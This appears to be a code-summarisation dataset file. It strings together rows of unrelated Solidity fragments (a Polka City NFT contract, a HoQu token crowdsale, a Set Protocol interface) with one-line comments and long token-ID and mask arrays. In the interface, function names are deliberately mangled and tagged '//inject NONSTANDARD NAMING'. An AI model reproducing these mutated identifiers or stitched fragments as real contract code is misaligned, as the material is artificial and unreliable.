_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
assetsDetails[tokenId].lastTrade = uint32(block.timestamp);
checkCitizen(to, true);
checkCitizen(from, false);
emit Transfer(from, to, tokenId);
}
function setBaseURI(string memory baseURI_) public onlyOwner {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
function checkCitizen(address _citizen, bool _addAsset) private {
uint256 citizenBalance = _holderTokens[_citizen].length();
if (citizenBalance > 0) {
if (_addAsset == true && citizenBalance == 1) {
polkaCitizens++;
}
} else {
polkaCitizens--;
}
}
function mint(address to, uint32 _assetType, uint32 _customDetails) public virtual returns (bool success) {
require(minters[msg.sender] == true, "Not allowed");
require(assetsByType[_assetType].maxAmount > assetsByType[_assetType].mintedAmount, "Max mintable amount reached for this asset" );
uint256 curIndex = _tokenIdTracker.current();
_mint(to, curIndex);
assetsDetails[curIndex].typeDetail = _assetType;
assetsDetails[curIndex].value = assetsByType[_assetType].baseValue;
assetsDetails[curIndex].lastTrade = uint32(block.timestamp);
assetsDetails[curIndex].lastPayment = uint32(block.timestamp);
assetsDetails[curIndex].customDetails = _customDetails;
assetsByType[_assetType].mintedAmount += 1;
_tokenIdTracker.increment();
checkCitizen(to, true);
return true;
}
function setMinter(address _minterAddress, bool _canMint) public onlyOwner {
minters[_minterAddress] = _canMint;
}
function setProfitsContract(address _contract) public onlyOwner {
profitsContract = _contract;
}
function setPaymentDate(uint256 _asset) public {
require(msg.sender == profitsContract);
assetsDetails[_asset].lastPayment = uint32(block.timestamp);
}
function addAssetType(uint64 _assetId, uint64 _maxAmount, uint256 _baseValue) public onlyOwner {
require(_maxAmount > 0 && _baseValue > 0);
require(assetsByType[_assetId].maxAmount > 0);
initAssets(_assetId, _maxAmount, _baseValue);
}
}
|
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection./ register the supported interfaces to conform to ERC721 via ERC165
|
constructor () {
_name ="Polka City Asset";
_symbol = "PCA";
initAssets(1, 1000, 1500);
initAssets(2, 750, 3000);
initAssets(3, 500, 7500);
initAssets(4, 300, 10000);
initAssets(5, 200, 15000);
initAssets(6, 50, 75000);
initAssets(7, 50, 65500);
initAssets(8, 50, 40000);
initAssets(9, 50, 90000);
initAssets(10, 50, 55000);
initAssets(11, 50, 105000);
initAssets(12, 50, 50000);
initAssets(13, 50, 22500);
initAssets(14, 50, 30000);
initAssets(15, 50, 45000);
_registerInterface(type(IERC721).interfaceId);
_registerInterface(type(IERC721Metadata).interfaceId);
_registerInterface(type(IERC721Enumerable).interfaceId);
}
| 2,062,931 |
[
1,
9685,
326,
6835,
635,
3637,
279,
1375,
529,
68,
471,
279,
1375,
7175,
68,
358,
326,
1147,
1849,
18,
19,
1744,
326,
3260,
7349,
358,
20156,
358,
4232,
39,
27,
5340,
3970,
4232,
39,
28275,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1832,
288,
203,
3639,
389,
529,
273,
6,
5850,
7282,
30578,
10494,
14432,
203,
3639,
389,
7175,
273,
315,
3513,
37,
14432,
203,
540,
203,
3639,
1208,
10726,
12,
21,
16,
4336,
16,
4711,
713,
1769,
203,
3639,
1208,
10726,
12,
22,
16,
2371,
3361,
16,
29839,
1769,
203,
3639,
1208,
10726,
12,
23,
16,
6604,
16,
2371,
12483,
1769,
203,
3639,
1208,
10726,
12,
24,
16,
11631,
16,
12619,
1769,
203,
3639,
1208,
10726,
12,
25,
16,
4044,
16,
4711,
3784,
1769,
203,
3639,
1208,
10726,
12,
26,
16,
6437,
16,
18821,
3784,
1769,
203,
3639,
1208,
10726,
12,
27,
16,
6437,
16,
8982,
713,
1769,
203,
3639,
1208,
10726,
12,
28,
16,
6437,
16,
1059,
2787,
1769,
203,
3639,
1208,
10726,
12,
29,
16,
6437,
16,
2468,
2787,
1769,
203,
3639,
1208,
10726,
12,
2163,
16,
6437,
16,
21483,
3784,
1769,
203,
3639,
1208,
10726,
12,
2499,
16,
6437,
16,
23633,
3784,
1769,
203,
3639,
1208,
10726,
12,
2138,
16,
6437,
16,
1381,
2787,
1769,
203,
3639,
1208,
10726,
12,
3437,
16,
6437,
16,
28298,
713,
1769,
203,
3639,
1208,
10726,
12,
3461,
16,
6437,
16,
890,
2787,
1769,
203,
3639,
1208,
10726,
12,
3600,
16,
6437,
16,
12292,
3784,
1769,
203,
540,
203,
3639,
389,
4861,
1358,
12,
723,
12,
45,
654,
39,
27,
5340,
2934,
5831,
548,
1769,
203,
3639,
389,
4861,
1358,
12,
723,
12,
45,
654,
39,
27,
5340,
2277,
2934,
5831,
548,
1769,
203,
3639,
389,
4861,
1358,
12,
723,
12,
45,
654,
39,
27,
2
] |
./full_match/421613/0x712A3480705560bB3158c8933403B04564305158/sources/project_/contracts/tokens/Corn.sol
|
Compost/Maturity ratios for both address & network, multiplying both ratios by the ratio multiplier before dividing for tiny CROP/LAND burn ratios.
|
myRatio = farm.compostedAmount.mul(RATIO_MULTIPLIER).div(_addressLockedAmount);
| 11,566,942 |
[
1,
799,
2767,
19,
15947,
2336,
25706,
364,
3937,
1758,
473,
2483,
16,
10194,
310,
3937,
25706,
635,
326,
7169,
15027,
1865,
3739,
10415,
364,
24405,
385,
12578,
19,
48,
4307,
18305,
25706,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3399,
8541,
273,
284,
4610,
18,
832,
2767,
329,
6275,
18,
16411,
12,
54,
789,
4294,
67,
24683,
2053,
654,
2934,
2892,
24899,
2867,
8966,
6275,
1769,
5375,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title HoQuToken
* @dev HoQu.io token contract.
*/
contract HoQuToken is StandardToken, Pausable {
string public constant name = "HOQU Token";
string public constant symbol = "HQX";
uint32 public constant decimals = 18;
/**
* @dev Give all tokens to msg.sender.
*/
function HoQuToken(uint _totalSupply) {
require (_totalSupply > 0);
totalSupply = balances[msg.sender] = _totalSupply;
}
function transfer(address _to, uint _value) whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
/**
* @title BaseCrowdSale
* @title HoQu.io base crowdsale contract for managing a token crowdsale.
*/
contract BaseCrowdsale is Pausable {
using SafeMath for uint256;
// all accepted ethers go to this address
address beneficiaryAddress;
// all remain tokens after ICO should go to that address
address public bankAddress;
// token instance
HoQuToken public token;
uint256 public maxTokensAmount;
uint256 public issuedTokensAmount = 0;
uint256 public minBuyableAmount;
uint256 public tokenRate; // amount of HQX per 1 ETH
uint256 endDate;
bool public isFinished = false;
/**
* Event for token purchase logging
* @param buyer who paid for the tokens
* @param tokens amount of tokens purchased
* @param amount ethers paid for purchase
*/
event TokenBought(address indexed buyer, uint256 tokens, uint256 amount);
modifier inProgress() {
require (!isFinished);
require (issuedTokensAmount < maxTokensAmount);
require (now <= endDate);
_;
}
/**
* @param _tokenAddress address of a HQX token contract
* @param _bankAddress address for remain HQX tokens accumulation
* @param _beneficiaryAddress accepted ETH go to this address
* @param _tokenRate rate HQX per 1 ETH
* @param _minBuyableAmount min ETH per each buy action (in ETH)
* @param _maxTokensAmount ICO HQX capacity (in HQX)
* @param _endDate the date when ICO will expire
*/
function BaseCrowdsale(
address _tokenAddress,
address _bankAddress,
address _beneficiaryAddress,
uint256 _tokenRate,
uint256 _minBuyableAmount,
uint256 _maxTokensAmount,
uint256 _endDate
) {
token = HoQuToken(_tokenAddress);
bankAddress = _bankAddress;
beneficiaryAddress = _beneficiaryAddress;
tokenRate = _tokenRate;
minBuyableAmount = _minBuyableAmount.mul(1 ether);
maxTokensAmount = _maxTokensAmount.mul(1 ether);
endDate = _endDate;
}
/*
* @dev Set new HoQu token exchange rate.
*/
function setTokenRate(uint256 _tokenRate) onlyOwner inProgress {
require (_tokenRate > 0);
tokenRate = _tokenRate;
}
/*
* @dev Set new minimum buyable amount in ethers.
*/
function setMinBuyableAmount(uint256 _minBuyableAmount) onlyOwner inProgress {
require (_minBuyableAmount > 0);
minBuyableAmount = _minBuyableAmount.mul(1 ether);
}
/**
* Buy HQX. Check minBuyableAmount and tokenRate.
* @dev Performs actual token sale process. Sends all ethers to beneficiary.
*/
function buyTokens() payable inProgress whenNotPaused {
require (msg.value >= minBuyableAmount);
uint256 payAmount = msg.value;
uint256 returnAmount = 0;
// calculate token amount to be transfered to investor
uint256 tokens = tokenRate.mul(payAmount);
if (issuedTokensAmount + tokens > maxTokensAmount) {
tokens = maxTokensAmount.sub(issuedTokensAmount);
payAmount = tokens.div(tokenRate);
returnAmount = msg.value.sub(payAmount);
}
issuedTokensAmount = issuedTokensAmount.add(tokens);
require (issuedTokensAmount <= maxTokensAmount);
// send token to investor
token.transfer(msg.sender, tokens);
// notify listeners on token purchase
TokenBought(msg.sender, tokens, payAmount);
// send ethers to special address
beneficiaryAddress.transfer(payAmount);
if (returnAmount > 0) {
msg.sender.transfer(returnAmount);
}
}
/**
* Trigger emergency token pause.
*/
function pauseToken() onlyOwner returns (bool) {
require(!token.paused());
token.pause();
return true;
}
/**
* Unpause token.
*/
function unpauseToken() onlyOwner returns (bool) {
require(token.paused());
token.unpause();
return true;
}
/**
* Finish ICO.
*/
function finish() onlyOwner {
require (issuedTokensAmount >= maxTokensAmount || now > endDate);
require (!isFinished);
isFinished = true;
token.transfer(bankAddress, token.balanceOf(this));
}
/**
* Buy HQX. Check minBuyableAmount and tokenRate.
*/
function() external payable {
buyTokens();
}
}
/**
* @title PrivatePlacement
* @dev HoQu.io Private Token Placement contract
*/
contract PrivatePlacement is BaseCrowdsale {
// internal addresses for HoQu tokens allocation
address public foundersAddress;
address public supportAddress;
address public bountyAddress;
// initial amount distribution values
uint256 public constant totalSupply = 888888000 ether;
uint256 public constant initialFoundersAmount = 266666400 ether;
uint256 public constant initialSupportAmount = 8888880 ether;
uint256 public constant initialBountyAmount = 35555520 ether;
// whether initial token allocations was performed or not
bool allocatedInternalWallets = false;
/**
* @param _bankAddress address for remain HQX tokens accumulation
* @param _foundersAddress founders address
* @param _supportAddress support address
* @param _bountyAddress bounty address
* @param _beneficiaryAddress accepted ETH go to this address
*/
function PrivatePlacement(
address _bankAddress,
address _foundersAddress,
address _supportAddress,
address _bountyAddress,
address _beneficiaryAddress
) BaseCrowdsale(
createToken(totalSupply),
_bankAddress,
_beneficiaryAddress,
10000, /* rate HQX per 1 ETH (includes 100% private placement bonus) */
100, /* min amount in ETH */
23111088, /* cap in HQX */
1507939200 /* end 10/14/2017 @ 12:00am (UTC) */
) {
foundersAddress = _foundersAddress;
supportAddress = _supportAddress;
bountyAddress = _bountyAddress;
}
/*
* @dev Perform initial token allocation between founders' addresses.
* Is only executed once after presale contract deployment and is invoked manually.
*/
function allocateInternalWallets() onlyOwner {
require (!allocatedInternalWallets);
allocatedInternalWallets = true;
token.transfer(foundersAddress, initialFoundersAmount);
token.transfer(supportAddress, initialSupportAmount);
token.transfer(bountyAddress, initialBountyAmount);
}
/*
* @dev HoQu Token factory.
*/
function createToken(uint256 _totalSupply) internal returns (HoQuToken) {
return new HoQuToken(_totalSupply);
}
}
|
send ethers to special address
|
beneficiaryAddress.transfer(payAmount);
| 6,757,860 |
[
1,
4661,
13750,
414,
358,
4582,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
27641,
74,
14463,
814,
1887,
18,
13866,
12,
10239,
6275,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.7;
interface ICore {
function TRANSFERPROXY290() //inject NONSTANDARD NAMING
external
view
returns (address);
function VAULT497() //inject NONSTANDARD NAMING
external
view
returns (address);
function EXCHANGEIDS396( //inject NONSTANDARD NAMING
uint8 _exchangeId
)
external
view
returns (address);
function VALIDSETS319(address) //inject NONSTANDARD NAMING
external
view
returns (bool);
function VALIDMODULES100(address) //inject NONSTANDARD NAMING
external
view
returns (bool);
function VALIDPRICELIBRARIES391( //inject NONSTANDARD NAMING
address _priceLibrary
)
external
view
returns (bool);
function ISSUE203( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function ISSUETO740( //inject NONSTANDARD NAMING
address _recipient,
address _set,
uint256 _quantity
)
external;
function ISSUEINVAULT15( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEM524( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEMTO270( //inject NONSTANDARD NAMING
address _recipient,
address _set,
uint256 _quantity
)
external;
function REDEEMINVAULT358( //inject NONSTANDARD NAMING
address _set,
uint256 _quantity
)
external;
function REDEEMANDWITHDRAWTO873( //inject NONSTANDARD NAMING
address _set,
address _to,
uint256 _quantity,
uint256 _toExclude
)
external;
function BATCHDEPOSIT892( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function BATCHWITHDRAW872( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function DEPOSIT357( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity
)
external;
function WITHDRAW715( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity
)
external;
function INTERNALTRANSFER147( //inject NONSTANDARD NAMING
address _token,
address _to,
uint256 _quantity
)
external;
function CREATESET426( //inject NONSTANDARD NAMING
address _factory,
address[] calldata _components,
uint256[] calldata _units,
uint256 _naturalUnit,
bytes32 _name,
bytes32 _symbol,
bytes calldata _callData
)
external
returns (address);
function DEPOSITMODULE827( //inject NONSTANDARD NAMING
address _from,
address _to,
address _token,
uint256 _quantity
)
external;
function WITHDRAWMODULE670( //inject NONSTANDARD NAMING
address _from,
address _to,
address _token,
uint256 _quantity
)
external;
function BATCHDEPOSITMODULE88( //inject NONSTANDARD NAMING
address _from,
address _to,
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function BATCHWITHDRAWMODULE533( //inject NONSTANDARD NAMING
address _from,
address _to,
address[] calldata _tokens,
uint256[] calldata _quantities
)
external;
function ISSUEMODULE367( //inject NONSTANDARD NAMING
address _owner,
address _recipient,
address _set,
uint256 _quantity
)
external;
function REDEEMMODULE605( //inject NONSTANDARD NAMING
address _burnAddress,
address _incrementAddress,
address _set,
uint256 _quantity
)
external;
function BATCHINCREMENTTOKENOWNERMODULE149( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _owner,
uint256[] calldata _quantities
)
external;
function BATCHDECREMENTTOKENOWNERMODULE440( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _owner,
uint256[] calldata _quantities
)
external;
function BATCHTRANSFERBALANCEMODULE930( //inject NONSTANDARD NAMING
address[] calldata _tokens,
address _from,
address _to,
uint256[] calldata _quantities
)
external;
function TRANSFERMODULE315( //inject NONSTANDARD NAMING
address _token,
uint256 _quantity,
address _from,
address _to
)
external;
function BATCHTRANSFERMODULE23( //inject NONSTANDARD NAMING
address[] calldata _tokens,
uint256[] calldata _quantities,
address _from,
address _to
)
external;
}
// File: set-protocol-contracts/contracts/core/lib/RebalancingLibrary.sol
pragma solidity 0.5.7;
library RebalancingLibrary {
enum State { Default, Proposal, Rebalance, Drawdown }
struct AuctionPriceParameters {
